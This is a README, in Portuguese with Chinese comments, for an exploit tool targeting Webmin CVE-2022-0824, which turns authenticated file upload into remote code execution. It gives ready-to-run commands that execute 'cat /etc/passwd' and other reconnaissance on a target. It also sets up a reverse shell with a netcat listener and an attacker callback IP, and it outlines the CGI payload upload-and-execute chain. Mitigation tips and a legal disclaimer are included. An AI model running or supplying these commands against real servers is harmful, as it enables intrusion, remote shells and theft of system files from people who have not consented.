Webmin-CVE-2022-0824-Enhanced-Exploit
[!IMPORTANT]
Ferramenta de exploração aprimorada para Webmin CVE-2022-0824 - suporta dois modos: execução de comandos e reverse shell

[!IMPORTANT]
Uma ferramenta de exploração aprimorada para a vulnerabilidade Webmin CVE-2022-0824, que suporta dois modos: execução direta de comandos e reverse shell.
🚀 Recursos
- ✅ Suporte a dois modos: modo de execução de comandos + modo reverse shell
- ✅ Múltiplos payloads: três payloads diferentes: Perl, Bash e Python
- ✅ Gerenciamento inteligente de arquivos: gera automaticamente nomes de arquivo únicos para evitar conflitos
- ✅ Upload com sobrescrita forçada: trata automaticamente a sobrescrita de arquivos já existentes
- ✅ Múltiplos métodos de upload: download via HTTP, upload direto, criação via execução de comandos
- ✅ Informações detalhadas de depuração: logs completos do processo de execução
- ✅ Interface amigável: saída colorida e indicações claras de status
- Número do CVE: CVE-2022-0824
- Versões afetadas: Webmin < 1.990
- Tipo de vulnerabilidade: execução remota de código causada por upload arbitrário de arquivos
- Pontuação CVSS: 9.8 (Crítica)
🛠️ Requisitos de Instalação
# Python 3.6+
pip3 install requests urllib3
📖 Como Usar
Modo de execução de comandos (Recomendado)
# 基本命令执行
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "whoami"
# 查看系统信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "uname -a"
# 列出文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "ls -la /etc"
# 查看敏感文件
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "cat /etc/passwd"
# 网络信息
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 --shell "netstat -tulnp"
Modo Reverse Shell
# 1. 启动监听器
nc -nlvp 9999
# 2. 执行漏洞利用
python3 exploit.py -t http://target:10000/ -c admin:password -LS attacker_ip:8080 -L attacker_ip -P 9999
📝 Descrição dos Parâmetros
| Parâmetro | Descrição | Obrigatório | Exemplo |
|---|
-t, --target | URL do Webmin de destino | ✅ | http://192.168.1.100:10000/ |
-c, --credential | Credenciais de login | ✅ | admin:password |
-LS, --py3http_server | Endereço do servidor HTTP | ✅ | 192.168.1.50:8080 |
--shell | Comando a ser executado | ❌ | "ls -la" |
-L, --callback_ip | IP de callback do reverse shell | ❌* | 192.168.1.50 |
-P, --callback_port | Porta de callback do reverse shell | ❌* | 9999 |
*Nota: obrigatório no modo Reverse Shell
🎯 Exemplos de Uso
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "whoami && id && pwd"
Exemplo 2: Exploração do sistema de arquivos
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "find /home -name '*.txt' 2>/dev/null"
Exemplo 3: Visualização da configuração de rede
python3 exploit.py -t http://192.168.1.100:10000/ -c root:password -LS 192.168.1.50:8080 --shell "ip addr show && route -n"
🔧 Como Funciona
- Autenticação: efetua login na interface de administração do Webmin usando as credenciais fornecidas
- Geração de payload: gera o script CGI correspondente de acordo com o modo
- Upload de arquivo: envia o payload por meio do recurso de download HTTP do gerenciador de arquivos
- Definição de permissões: define permissões de execução para o arquivo enviado
- Execução de comandos: acessa o script CGI enviado para executar comandos ou estabelecer uma conexão reversa
🛡️ Recomendações de Proteção
- Atualize o Webmin para a versão mais recente (>= 1.990)
- Restrinja o acesso de rede à interface de administração do Webmin
- Use senhas fortes e autenticação de dois fatores
- Audite regularmente os logs do sistema
- Implante um firewall de aplicação web (WAF)
⚠️ Aviso Legal
Esta ferramenta deve ser usada apenas para testes de segurança autorizados e fins educacionais.
- 🚫 Proibido o uso em sistemas não autorizados
- 🚫 Proibido o uso para ataques maliciosos
- 🚫 O usuário é responsável pelas consequências legais
- ✅ Use apenas em ambientes com autorização explícita
- ✅ Use para pesquisa de segurança e verificação de vulnerabilidades
📚 Detalhes Técnicos
Tipos de Payload
- Perl CGI: payload principal, melhor compatibilidade
- Bash CGI: payload reserva, adequado para sistemas Linux
- Python CGI: payload reserva, mais rico em funcionalidades
Métodos de Upload
- Download via HTTP: por meio do recurso de download remoto do gerenciador de arquivos do Webmin
- Upload direto: por meio da interface de upload de arquivos
- Criação via comando: cria o arquivo por meio de comandos do sistema
Estratégia de Nomenclatura de Arquivos
- Hash MD5 baseado no conteúdo do comando
- Sufixo de timestamp
- Garante nomes de arquivo diferentes a cada execução
🔄 Histórico de Atualizações
v5.0 (2025-08-05)
- ✨ Novo modo de execução de comandos
- 🐛 Corrigido problema de sobrescrita de arquivos
- 🔧 Estratégia de nomenclatura de arquivos aprimorada
- 📈 Tratamento de erros aprimorado
v4.0 (Baseado na versão original)
- 🎯 Baseado no código original de faisalfs10x
- 🔧 Compatibilidade com CGI aprimorada
- 📝 Logs detalhados adicionados
🤝 Contribuição
Contribuições são bem-vindas! Envie Issues e Pull Requests!
- Fork este projeto
- Crie um branch de recurso (
git checkout -b feature/AmazingFeature)
- Faça commit das alterações (
git commit -m 'Add some AmazingFeature')
- Envie para o branch (
git push origin feature/AmazingFeature)
- Abra um Pull Request
📄 Licença
Este projeto é licenciado sob a Licença MIT - consulte o arquivo LICENSE para obter detalhes
🙏 Agradecimentos
📞 Contato
Em caso de dúvidas ou sugestões, entre em contato pelos seguintes meios:
- 📧 Abra uma Issue no GitHub
- 🐛 Para reportar problemas de segurança, envie uma mensagem privada
⭐ Se este projeto foi útil para você, dê um Star para apoiar!
🔗 Links Relacionados
requirements.txt
requests>=2.25.1
urllib3>=1.26.0